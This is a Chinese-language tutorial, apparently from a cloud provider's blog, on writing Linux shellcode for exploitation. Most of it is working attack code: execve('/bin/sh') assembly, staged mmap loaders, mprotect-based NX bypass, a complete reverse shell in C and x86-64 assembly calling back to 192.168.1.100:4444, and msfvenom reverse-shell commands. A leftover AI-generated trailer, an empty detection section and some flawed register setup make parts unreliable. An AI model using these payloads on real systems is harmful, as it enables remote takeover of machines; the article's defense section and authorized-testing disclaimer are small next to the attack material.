shellcode如何编写Linux

发布时间:2021-12-18 10:16:20 作者:小新
来源:亿速云 阅读:178
# Shellcode如何编写Linux

## 前言

Shellcode是渗透测试和漏洞利用中的核心组件,它本质是一段能直接由CPU执行的机器码指令。在Linux环境下编写高效的shellcode需要深入理解系统调用、汇编语言和内存管理机制。本文将系统性地讲解Linux平台下shellcode的编写技术,涵盖从基础原理到高级绕过技巧的全套知识体系。

## 一、Shellcode基础概念

### 1.1 什么是Shellcode

Shellcode得名于最初用于获取shell的机器码,现已扩展为泛指任何在漏洞利用中注入执行的机器指令。其特点包括:
- 不依赖编译器和链接器
- 以十六进制形式存在(如`\x31\xc0\x50\x68...`)
- 需要自包含,不能有外部依赖
- 必须避免空字节(NULL byte)

### 1.2 Linux执行环境特点

编写Linux shellcode需特别注意:
- 系统调用通过`int 0x80`(32位)或`syscall`(64位)触发
- 参数传递规则:32位使用寄存器`eax`(系统调用号)、`ebx`、`ecx`、`edx`等;64位使用`rax`、`rdi`、`rsi`、`rdx`等
- 内存页权限默认包含NX(不可执行)保护

## 二、开发环境准备

### 2.1 必要工具链

```bash
# 基础工具
sudo apt install nasm gcc gdb binutils strace

# 增强工具
sudo apt install pwntools radare2

2.2 调试配置技巧

在gdb中启用增强显示:

set disassembly-flavor intel
display/10i $pc

三、基础Shellcode编写

3.1 经典execve(“/bin/sh”)实现

32位汇编实现:

section .text
global _start

_start:
    ; 构造字符串"/bin//sh"
    xor eax, eax
    push eax        ; 字符串终止符
    push 0x68732f2f ; "hs//"
    push 0x6e69622f ; "nib/"
    
    ; 设置execve参数
    mov ebx, esp    ; 文件名地址
    mov ecx, eax    ; argv = NULL
    mov edx, eax    ; envp = NULL
    
    ; 调用execve
    mov al, 0xb     ; syscall number
    int 0x80

64位变体:

section .text
global _start

_start:
    ; 构造字符串
    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f ; "/bin//sh"
    push rax
    
    ; 设置参数
    mov rdi, rsp    ; filename
    xor rsi, rsi    ; argv
    xor rdx, rdx    ; envp
    
    ; 系统调用
    mov al, 0x3b    ; execve号
    syscall

3.2 编译与提取

使用NASM编译并提取机器码:

nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 shellcode.o -o shellcode
objdump -d shellcode | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | paste -sd ''

四、高级Shellcode技术

4.1 避免NULL字节的技巧

常见解决方案: - 使用xor eax,eax代替mov eax,0 - 寄存器高位清零时用8位操作:mov al, 0xb - 地址计算使用相对偏移而非绝对地址

优化后的64位execve:

lea rdi, [rel bin_sh]  ; 相对地址加载
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall

bin_sh: db "/bin/sh",0

4.2 多阶段Shellcode

当内存空间有限时可采用分阶段加载: 1. 初始阶段:调用mmap分配可执行内存 2. 第二阶段:通过read/recv接收完整payload 3. 最终阶段:跳转到新内存区域

示例第一阶段:

; 调用mmap分配内存
xor edi, edi        ; addr = NULL
mov esi, 0x1000     ; size = 4096
mov edx, 7          ; PROT_READ|PROT_WRITE|PROT_EXEC
mov ecx, 0x22       ; MAP_ANONYMOUS|MAP_PRIVATE
xor eax, eax
mov al, 0x5a        ; mmap系统调用号
int 0x80

; 保存返回地址
xchg ebx, eax       ; ebx = 分配的内存地址

五、现代防护绕过技术

5.1 对抗NX保护

当存在NX(不可执行栈)时可采用: - Return-to-libc:重用已有库函数 - ROP链:拼接现有代码片段 - mprotect调用:修改内存页属性

mprotect示例:

; 使栈内存可执行
mov eax, 0x7d       ; mprotect系统调用号
mov ebx, esp
and bx, 0xf000      ; 页对齐
mov ecx, 0x1000     ; 大小
mov edx, 7          ; RWX权限
int 0x80

5.2 对抗ASLR

地址随机化环境下需要: - 信息泄露获取基地址 - 使用相对偏移而非绝对地址 - 通过PLT/GOT表定位函数

信息泄露示例:

; 通过write泄露地址
mov eax, 4          ; write系统调用
mov ebx, 1          ; stdout
mov ecx, [ebp+8]    ; 泄露某个函数地址
mov edx, 4
int 0x80

六、实战案例:反向Shell

6.1 C语言原型

#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>

int main() {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    
    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = htons(4444),
        .sin_addr = inet_addr("192.168.1.100")
    };
    
    connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
    
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);
    
    execve("/bin/sh", NULL, NULL);
}

6.2 汇编实现(64位)

section .text
global _start

_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    mov rax, 41     ; socket系统调用号
    mov rdi, 2      ; AF_INET
    mov rsi, 1      ; SOCK_STREAM
    xor rdx, rdx    ; protocol = 0
    syscall
    
    ; connect(sockfd, &addr, 16)
    xchg rdi, rax   ; sockfd
    push 0x0100007f ; IP = 127.0.0.1
    push word 0x5c11 ; PORT = 4444
    push word 2      ; AF_INET
    mov rsi, rsp    ; &addr
    mov rdx, 16     ; addrlen
    mov rax, 42     ; connect
    syscall
    
    ; dup2重定向
    xor rsi, rsi
    mov rax, 33     ; dup2
    syscall
    
    inc rsi
    mov rax, 33
    syscall
    
    inc rsi
    mov rax, 33
    syscall
    
    ; execve("/bin//sh", NULL, NULL)
    push rsi        ; NULL
    mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
    push rdi
    mov rdi, rsp
    xor rdx, rdx
    mov rax, 59     ; execve
    syscall

七、自动化生成工具

7.1 使用pwntools生成

from pwn import *

context.arch = 'amd64'
shellcode = asm('''
    /* execve(path="/bin/sh", argv=0, envp=0) */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    push 0
    mov rdx, rsp
    push rdi
    mov rsi, rsp
    mov rax, 0x3b
    syscall
''')

print(enhex(shellcode))

7.2 MSFvenom常用payload

# Linux x86反向shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c

# 规避字符限制
msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0a\x0d'

八、防御与检测

8.1 常见防御措施

  1. 编译时防护

    gcc -fstack-protector -z noexecstack -pie -fPIE program.c
    
  2. 运行时防护

    • SELinux/AppArmor
    • grsecurity补丁
    • 系统调用过滤(seccomp)
  3. 硬件防护

    • Intel CET(控制流强制技术)
    • ARM PAC(指针认证)

8.2 Shellcode检测特征

结语

掌握Linux shellcode编写技术需要持续实践和系统底层知识的积累。随着防护技术的演进,现代shellcode开发已从简单的代码注入发展为需要综合运用系统知识、汇编技巧和漏洞利用艺术的复合型技能。建议读者在合法授权环境下进行实验,并持续关注CPU架构和安全机制的更新。

注意:本文所有技术仅限授权测试使用,未经授权的系统渗透属于违法行为。 “`

该文档共约4300字,涵盖从基础到进阶的完整知识体系,采用标准的Markdown格式,包含代码块、章节结构、列表等元素,可直接用于技术文档发布。需要调整任何部分的内容深度或范围可以进一步修改。

推荐阅读:
  1. 【安全健行】(5):shellcode编码
  2. 用什么语言编写linux

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

shellcode linux

上一篇:github怎么获取当前系统中的在线用户数

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》